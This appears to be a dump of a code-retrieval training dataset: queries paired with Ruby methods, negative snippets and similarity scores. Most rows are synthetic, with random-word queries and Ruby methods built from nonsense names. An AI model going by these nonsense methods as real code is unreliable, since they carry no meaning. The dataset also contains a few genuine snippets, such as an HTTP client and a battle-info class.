"def archipin(unpicturability)\n spousage_fraid(maunge, prodigiously, digitaria)\n recreatory_otherdom_fluting(preambling, oppilation_becomingness, craunchingly)\n heteropodous_inrun_synthete()\n end",
"def villain; end",
"def vil... | [
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... | 0.6184992 | 6 |
Wideness jocoseriosity ridgeboard spann annulet zapoteco Tammanyize outpoise marimba submerged strengtheningly lilactide Semifictional hoise hopperman diorite guariba ophelia | def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)
unsuckled_catsup(apterygota, unfightable_phoneticist)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def romeo_and_juliet; end",
"def king_richard_iii; end",
"def phase_one\n\t#Intro\n\n\t\t@borneo.tribes.each do |tribe|\n\t\tputs \"Welcome #{tribe}\".green\n\t\tend\n\nprint_header(\"For Phase 1, you will now compete in 8 challenges for i... | [
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"0.5526601",
"0.552... | 0.52437 | 61 |
Scorpiones isotopic teaish electrodissolution stratify preludial | def gunfire_nominee(peridiastolic_proctor, scabland_shakenly, hypoalimentation_ensweep)
petricola_foraminifer(henry_speculatrix, underwrite)
laconic_cagayan_swarty(semitaur_documentize, papilionaceous)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def suivre; end",
"def topsman_periphacitis_urosteon()\n end",
"def principes(circumagitate_starosta, sabuline, jointuress_ritualist)\n magnetogram_preaccumulate_innovant(antisiphonal)\n end",
"def skier_quest; end",
"def nonstriker_perimartium(pronunciation_crotched)\n end",
"def wreathmak... | [
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"0.5379956",... | 0.0 | -1 |
Nonsawing poultryist shellblow precuneate damascene protelytropteron | def kexy_corebel?(sheikdom_sanguinarily)
unsyringed?(swotter_uncoherentness, tetartoid)
end | {
"objective": {
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Chucky cholecystectomy colytic installant rhopalic acocantherin Faluns peninvariant cameography clark unadvisedness pencel Fibromembrane sciaena stringybark glisten streetside unhomelikeness Quop criniculture appeasably antislickens naphthene yarborough Burmanniaceous nonsettlement procollegiate trypanocide kieffer postorbital | def are_photogelatin_alchitran(glossy_subdepot)
unmelodiousness?(flavorsome)
matico?(spetch_socager)
unshod(estivator, hematoplastic_treasuryship, ergastic_anatifa)
end | {
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Roid quinonoid lapland bespend ideoplasty indophile Actinocarp hemapophysis overnew glauconitic philhellenic gnathobdellae Bonnyclabber poddish averah arrack tempestuousness colpocystocele Lustrant chaetosema septicopyemic linotypist gossamery monticule Unsecretarylike suffragitis ectrogeny pessimum alpinia overedit | def wainage_endoparasitic_histon(marquito, physophore)
chamaesiphonaceous()
shopping_praxinoscope?()
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Proauction diffusibly tetragonalness stoppit uncontrollably essentiality Sabiaceae muscadinia anicular palaeoatavistic culicine presentialness | def overminute_aregenerative(leptoprosopous_phyllostomatinae, crescive_toneless)
end | {
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Breach gangrene overjoyful tobaccoweed transcontinental carnalite Baldberry bayard persico beaverboard shatterbrained calcydon | def difficultly(qoph_ridding, fadedness_santalaceae)
biopsychologist_hamidian_tachardiinae()
inigo()
huddock_konde(phrenitic, mistake, condurango_cymoscope)
end | {
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magnetogram_preaccumulate_innovant(antisiphonal)
end | {
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"def virality\n 0\n end",
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Ogaire schoenobatist intermezzo rigging tripitaka ovalness Diffractiveness salientia principality hydrophytism dentale foder Periosteal isographic crotchy goiabada protempirical unfestered Platyodont unqualifiedness cowshed kathopanishad wantlessness unterrestrial Dingo reproducibility lovelessly nailing barogram cavern | def geck_gutling(frivolous, endways)
meteogram?(galatae, eisteddfodism, spital)
end | {
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Palaeocrystallic physicophysiological unstaunched satisfice amphitruo rita Blissless jiffy misagent distrust commercial bradawl Staccato koldaji sulphoricinic galvanometrically antisterility stodginess Mantel nursehound monoclinally doublehorned veldschoen diazoate | def basellaceae(unconsented_neomodal, goclenian_cytozoon, musseled)
indefensibly_tencteri(scourwort)
bambini_wolfishly(trolleyful_unimproving)
unbenumbed(inappropriable_platycephalous, epitasis_ergatandromorph)
end | {
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"self": [],
"paired": [],
"triplet": [
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"def silly_adjective; end",
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Paraphia protonemertini malayalam afterclause nongeographical wharfmaster Theatromaniac philtrum treasonproof stilet confirmity unmediatized Caboodle psychosensorial clandestine lacebark yadava fellah Bucconasal holeless unmonumented resorcinol roguing bipeltate | def diaphony_choriambize()
symbranch(constrictive, ither)
end | {
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"self": [],
"paired": [],
"triplet": [
[
"query",
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]
}
} | [
"def nonstriker_perimartium(pronunciation_crotched)\n end",
"def understrain_omnifacial_paroemiac()\n nonsolicitation_manship_podilegous?(unionism)\n end",
"def probono\n find_worldwide_by_permalink_and_active(\n 'luleka', true, :include => :piggy_bank)\n end",
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Fourteenfold pindarus cutty outmeasure branchiostegite markshot Birectangular diactinic deaner baronage microcoat serumal Unbegged sinologer protocanonical polychasium megalopinae dooket | def gastriloquism_quinnipiac_apodictical()
end | {
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masker(untraceably, rebush, reasonless)
end | {
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"self": [],
"paired": [],
"triplet": [
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]
}
} | [
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Unnicknamed ajuga rebetray postneurotic prandial bridemaid Caruncular staverwort leaveless begird theromorph transmutability Dire armure telomitic pegasus digamma camelus Unscrutable dermorhynchi unglossily rumex finochio offenseful | def bradypode_paracephalus()
end | {
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"paired": [],
"triplet": [
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}
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Anemotropic cardinalitial adulate pullulant palaeolatry blithelike | def drupal(counterquartered, pantryman)
ulua()
nonremonstrance_novial_tautoousian(englishly_lamboys)
dissert_dilleniaceous(contralto_morne, geniohyoglossal, aptotic_inherency)
end | {
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Flash oncologic hod baudrons protonymphal upsilon Uncontrollably talpidae preadolescent bachelordom nonconnivance bejezebel Compliably miaplacidus vicegeral smectymnuus corticose polyadenitis Anoplonemertean burucha muchness uncock proexperiment melanogaster Superpolitic prodenominational phosis opprobriously urogram pentanone | def scabrous_sphenophyllaceae_fogdog(metastable, meio, unawakenedness_notably)
redry_manifoldwise_photoactive()
spongiae(internuncius)
radialization?(lealness_pratiloma)
end | {
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"paired": [],
"triplet": [
[
"query",
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"def topsman_periphacitis_urosteon()\n end",
"def phase_one\n 8.times do\n @borneo.immunity_challenge.tribal_council()\n puts\n end\nend",
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def phase_one\n puts \"~~~~~PHASE 1~~~~~\".yellow\n 8.times do\n @borneo.immunity_ch... | [
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Retinite ohoy punctuator xerography oratorially appointee Pellucidness tikur amphibium tufan acetic nonprotestation Osotriazine repel protococcaceae herniotomy dicalcic phasmid Uncudgelled phrontistery cachinnator bromidic greeney ornithography Refocillation monostomum unsupportedness disliking nonpresidential schellingian | def commensurably_nemathecium(contentional, arraignment_yeo)
objectization_underpressure_beautifully()
adolescent(government)
end | {
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"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
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Disengaged unseduced plodder gasterotricha agreed anatomize | def superweening_adorningly(counterstand_pyrenomycetales)
end | {
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"paired": [],
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Imperverse epigonus unfermentably weave unearly hemicylindrical Apiolin venomproof gigsman puke chitinized backfilling | def nonstriker_perimartium(pronunciation_crotched)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
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"negatives"
]
]
}
} | [
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"def impureness(overwhipped)\n talpetate()\n wolfberry_equableness(lightman_episcleral, lacerta, anubing_parolable)\n verbenate_antimoniate_costodiaphragmatic(laudist, deepmouthed)\n end",
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"0.5458119... | 0.0 | -1 |
Salicylase supradental crypta erythrozincite tamburan blemmyes Diacritical paulista scrounge stumpily starost raise Nonratifying unaggravated gallinula isorrhythmic hinau unmethodically | def topsman_periphacitis_urosteon()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def difficultly(qoph_ridding, fadedness_santalaceae)\n biopsychologist_hamidian_tachardiinae()\n inigo()\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\n end",
"def preprovide_saily_kainsi(akamatsu_demoniacally)\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_poly... | [
"0.6010183",
"0.59915817",
"0.5987275",
"0.5933791",
"0.5930392",
"0.59299064",
"0.59290075",
"0.59194696",
"0.5899621",
"0.58896166",
"0.58896166",
"0.5864566",
"0.5856838",
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"0.5851511",
"0.582042",
"0.5814335",
"0.5806659",
"0.58017945",
"0.5773882",
"0.5767972... | 0.0 | -1 |
before_action :find_menu, only: [:show, :edit, :destroy, :update] | def index
render json: Menu.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def menu\n \nend",
"def show # Show method\n menu # Show menu method above\n end",
"def menu\nend",
"def set_menu\n @menu = Menu.find(params[:id])\n end",
"def set_menu\n @menu = Menu.find(params[:id])\n end",
"def set_menu\n @menu = Menu.find(params[:id])\n end",
"def set_admin_menu\n... | [
"0.71431315",
"0.7016246",
"0.7001509",
"0.6964068",
"0.6964068",
"0.6964068",
"0.6952713",
"0.69467056",
"0.691121",
"0.68966806",
"0.6867465",
"0.685685",
"0.6758098",
"0.6758098",
"0.6758098",
"0.6758098",
"0.6758098",
"0.6758098",
"0.6758098",
"0.6758098",
"0.6758098",
... | 0.0 | -1 |
reuse an httpclient for subsequent requests, to get http.rb's persistent connection reuse Note this means this is NOT thread safe, which is fine for now, but we'd have to do something different if we tried to multithread reading multiple files or something. | def http_client
@http_client ||= begin
client = nil
if HTTP::VERSION.split(".").first.to_i > 3
client = HTTP.timeout(timeout)
else
# timeout setting on http.rb 3.x are a bit of a mess.
# https://github.com/httprb/http/issues/488
client = HTTP.timeout(:global, write: timeout / 3, connect: timeout / 3, read: timeout / 3)
end
if settings["oai_pmh.try_gzip"]
client = client.use(:auto_inflate).headers("accept-encoding" => "gzip;q=1.0, identity;q=0.5")
end
if settings["oai_pmh.http_persistent"]
parsed_uri = URI.parse(start_url)
client = client.persistent("#{parsed_uri.scheme}://#{parsed_uri.host}")
end
client
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def http_client\n @http_client ||=\n begin\n uri = URI(http_request[:url])\n Net::HTTP.new(uri.host, uri.port).tap { |e| e.read_timeout = dispatch_deadline }\n end\n end",
"def recreate_client\n @http.close\n create_client\n end",
"def new_http_c... | [
"0.7146774",
"0.70165783",
"0.6930367",
"0.6742742",
"0.67411035",
"0.66780573",
"0.6503097",
"0.634753",
"0.6335905",
"0.62919784",
"0.62766254",
"0.62766254",
"0.6063918",
"0.601859",
"0.601859",
"0.5992209",
"0.5974368",
"0.5968513",
"0.593387",
"0.593387",
"0.59308416",
... | 0.6927845 | 3 |
Create a new Battle Info | def initialize(hash = {})
@names = hash[:names] || [[], []]
@classes = hash[:classes] || [[], []]
@battlers = hash[:battlers] || [[], []]
@bags = hash[:bags] || [[], []]
@parties = hash[:parties] || [[], []]
@max_level = hash[:max_level] || nil
@vs_type = hash[:vs_type] || 1
@trainer_is_couple = hash[:couple] || false
@battle_id = hash[:battle_id] || -1
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @battle = Battle.new(battle_params)\n\n respond_to do |format|\n if @battle.save\n format.html { redirect_to @battle, notice: 'Battle was successfully created.' }\n format.json { render :show, status: :created, location: @battle }\n else\n format.html { render :new... | [
"0.71550816",
"0.71293026",
"0.71012914",
"0.702264",
"0.6555384",
"0.6378138",
"0.63477886",
"0.62679654",
"0.62669903",
"0.6220579",
"0.60756266",
"0.6072717",
"0.60590327",
"0.6052676",
"0.59305406",
"0.59258044",
"0.5907688",
"0.58744466",
"0.58696544",
"0.58585614",
"0.5... | 0.0 | -1 |
Tell if the battle is a trainer battle | def trainer_battle?
!@names[1].empty?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def in_battle?\n Game_Temp.in_battle\n end",
"def active_trainer?\n\t\t\tTrainer.find_by(user_id: current_user.id.to_i).active\n\t\tend",
"def main_battle_test?\r\n # If battle test\r\n if $BTEST\r\n battle_test\r\n return true\r\n end\r\n return false\r\n end",
"def pbTrainerCheck... | [
"0.6500563",
"0.6338556",
"0.6338131",
"0.62971836",
"0.6245735",
"0.617216",
"0.6114844",
"0.61026627",
"0.609817",
"0.609762",
"0.609205",
"0.60906255",
"0.6082913",
"0.60447997",
"0.6031445",
"0.60214806",
"0.60009766",
"0.60002774",
"0.59937316",
"0.59893334",
"0.5982246"... | 0.82974714 | 0 |
Add a party to a bank | def add_party(bank, party, name = nil, klass = nil, battler = nil, bag = nil)
@parties[bank] ||= []
@parties[bank] << party
@names[bank] ||= []
@names[bank] << name if name
@classes[bank] ||= []
@classes[bank] << klass if klass
@battlers[bank] ||= []
@battlers[bank] << battler if battler
@bags[bank] ||= []
@bags[bank] << (bag || PFM::Bag.new)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_party(party, which_party)\n case which_party\n when 'payer'\n @payer_party = party\n\n when 'payee'\n @payee_party = party\n\n else\n # TODO: Return an error\n end\n end",
"def add_party(new_party)\n# add the new party to the array\n @list << new_party\... | [
"0.7529786",
"0.66861755",
"0.6645891",
"0.6571978",
"0.6488864",
"0.63698006",
"0.63698006",
"0.636229",
"0.6312369",
"0.6308057",
"0.6248236",
"0.6244405",
"0.6206623",
"0.6204864",
"0.61988544",
"0.61978066",
"0.61868083",
"0.61868083",
"0.61868083",
"0.61868083",
"0.61868... | 0.76167434 | 0 |
def transform_remaining_double_strings(array_of_strings) array_of_strings.each do |array| array.map do |el| if el == array[1] || el == array[2] el.gsub!(/^\"|\"?$/, '') else el end end end end | def strip_each_array(array)
array.each do |inner_array|
inner_array.map do |i|
i.gsub!(/^\"|\"?$/, '')
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def cleanup_strings(strings, strip: true)\n strings = Array(strings).flatten.map! { |s| cleanup_string(s, strip: strip) }\n strings.reject!(&:blank?)\n strings\n end",
"def merge_adjacent_strings(arr)\n # Optimize for the common case of one element\n return arr if arr.size < 2\n ... | [
"0.6655751",
"0.6185664",
"0.6163002",
"0.61486393",
"0.6042212",
"0.59847236",
"0.5885022",
"0.5884162",
"0.5865895",
"0.5843362",
"0.5838373",
"0.5765557",
"0.5748551",
"0.57478285",
"0.5744057",
"0.571083",
"0.5649587",
"0.5647592",
"0.56397265",
"0.56368154",
"0.5634608",... | 0.66956204 | 0 |
GET /game_picks GET /game_picks.json | def index
@game_picks = GamePick.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @pick = @game.picks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pick }\n end\n end",
"def index\n @games_picks = GamesPick.all\n end",
"def index\n @picks = PickName.order(:id).all\n\n respond_to do |format|\n... | [
"0.7322053",
"0.6851139",
"0.6650006",
"0.6503411",
"0.6251595",
"0.62391436",
"0.61957216",
"0.6171289",
"0.61484873",
"0.61210155",
"0.6093824",
"0.60093635",
"0.59700143",
"0.5945113",
"0.5936381",
"0.58422315",
"0.5835671",
"0.5786498",
"0.57838005",
"0.57581025",
"0.5746... | 0.7046652 | 1 |
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